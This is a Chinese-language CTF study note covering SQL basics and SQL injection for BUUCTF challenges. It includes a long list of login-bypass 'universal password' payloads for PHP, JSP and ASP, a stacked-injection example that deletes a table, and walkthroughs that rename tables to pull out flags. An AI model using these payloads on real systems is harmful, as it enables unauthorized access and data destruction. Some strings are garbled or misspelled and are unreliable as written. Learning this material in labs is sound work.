Buuctf SQL 类型题
SQL 数据库语法
系统登录数据库命令:
mysql -u root -p #登录数据库
数据库命令:
show databases; #查看数据库(在根目录下执行)
create database 数据库的名字 charset utf8; #创建数据库-给数据库选择字符集
drop database 数据库的名字; #删除指定的数据库
use 数据库的名字; #选择进入的数据库
数据表命令:
--------------------------------------------------------
create table 数据表的名字(
id int,
name varchar(40),
sex char(4),
birthday date,
job varchar(100)
); #创建数据表-写入数据表信息
--------------------------------------------------------
show full columns from 数据表的名字; #查看数据表所有信息
select * from 数据表的名字; #查看数据表列表
drop table 数据表的名字; #删除数据表
rename table 数据表的名字1 to 数据表的名字2; #修改数据表名字
alter table 数据表的名字 character set utf8; #修改数据表字符集
--------------------------------------------------------
insert into 数据表的名字(id,name,sex,birthday,job)
values(1,'ctfstu','male','1999-05-06','it'); #向数据表中写入内容
--------------------------------------------------------
alter table 数据表的名字 add 数据表的列名字 decimal(8,2);
# 向数据表中增加一列内容(整数8位,2位浮点)
update user set 数据的列名字=5000;
# 修改数据列所有的值为5000
update user set 数据表的列1名字='benben' where 数据表的列2名字=1;
#定位数据表中
update user set name='benben2',salary=3000 where id=1;
#修改列名id=1该行的列名name为benben2,列名salary为3000
alter table 数据表的名字 drop 列名字;
#删除表中的列
delete from 数据表的名字 drop 列名字='it';
#删除数据表中的行(列的值为it的行)
delete from 数据表的名字;
#删除数据表
万能密码表
1.原理
select * from table_name where username='xxxx' and password='xxxx'
2.构造变化
1' or 1=1
# select 信息 from users where username='1' or 1=1 # ' and password='输入的密码'
1' union select database()
# select 信息 from users where username='1' union select database() #' and password='输入的密码'
1' union select table_name frome information_schema.tables
# select 信息 from users where username='1' union select table_name from information_schema.tables #' and password='输入的密码'
3.构造
----------------------------------------------------------------------
PHP 万能密码:
'or 1=1/*
"or “a”="a
"or 1=1–
“or”="
“or”="a’='a
"or1=1–
“or=or”
'‘or’=‘or’
') or (‘a’='a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
‘or"="a’='a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
'or1=1–
1’or’1’='1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–
用户名:anything 密码:' or '1'='1
---------------------------------------------------------------------
JSP万能密码:
1’or'1'='1
admin’ or 1=1/*
---------------------------------------------------------------------
ASP万能密码:
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
(替换表名admin) 用户名:'UNION Select 1,1,1 FROM admin Where "=' 密码:1
------------------------------------------------------------------------
aspx万能密码:
"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
'or 1=1–
a’or’ 1=1–
"or 1=1–
'or.‘a.’='a
“or”="a’='a
‘or’’=’
‘or’=‘or’
admin’or 1=1#
-------------------------------------------------------------------
常规密码:
‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’‘=’‘or’‘=’
‘or’=‘1’
‘or’=‘or’
‘or.‘a.’=‘a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1-- asp aspx "or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’ jsp 1’or’1’=‘1
admin’ or 1=1/*
-------------------------------------------------------------------
国际标准万国码-【`】Mysql中表明数据库名、表名、字段名
1' ; show columns from `1919810931114514`;#
(注意表名前后的`符号,我打了好久才知道这个符号,在TAB键上面切成英文可以打出来,加在表名前后
【`】是国际标准万国码的全形抑音符(全宽重音符号)
英文名为【FULLWIDTH GRAVE ACCENT】。位于万国码uFF40。
(通常用来说明其中的内容是数据库名、表名、字段名,所有的数据库都有类似的设置,不过Mysql用的是`)
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1. [极客大挑战 2019]EasySQL 1
- 万能密码绕过
1' or 1=1 #
- 联合注入查询
第一步:
1' union select 1,2
1' union select 1,2,3
1' union select 1,2,3,4
第二步:
1' union select 1,2,database() #
2.[强网杯 2019]随便注 1
- 尝试是否存在注入
1
1'
1'#
- 常用注入
1’ or 1=1;#
- 测试字段数量
1' order by 1;#
1' order by 2;#
1' order by 3;#
- union select联合查询
1‘ union select 1,2;#
- 堆叠注入
1' ; show databases;# //查看数据库
1' ; show tables ;#
1' ; show columns from `1919810931114514`;#
1' ; show columns from words;#
- 推断后台sql语句
select id,data from words where id=
//可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
- 把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
1';rename table `words` to words2;rename table `1919810931114514` to `words`;alter table words change flag id varchar(100);#
- 查询表名
1';show tables;#
- 查询words表中的列信息
'columns from words;#
- 输出flag
1' or 1=1;#
参考链接:
- [极客大挑战 2019]EasySQL1
访白鹿:https://blog.csdn.net/m0_75178803/article/details/131169675
Craven_:https://blog.csdn.net/emdog/article/details/120878215
风过江南乱:https://blog.csdn.net/TM_1024/article/details/106156448
- [强网杯 2019]随便注1
半杯雨水敬过客:https://blog.csdn.net/weixin_44214568/article/details/119260819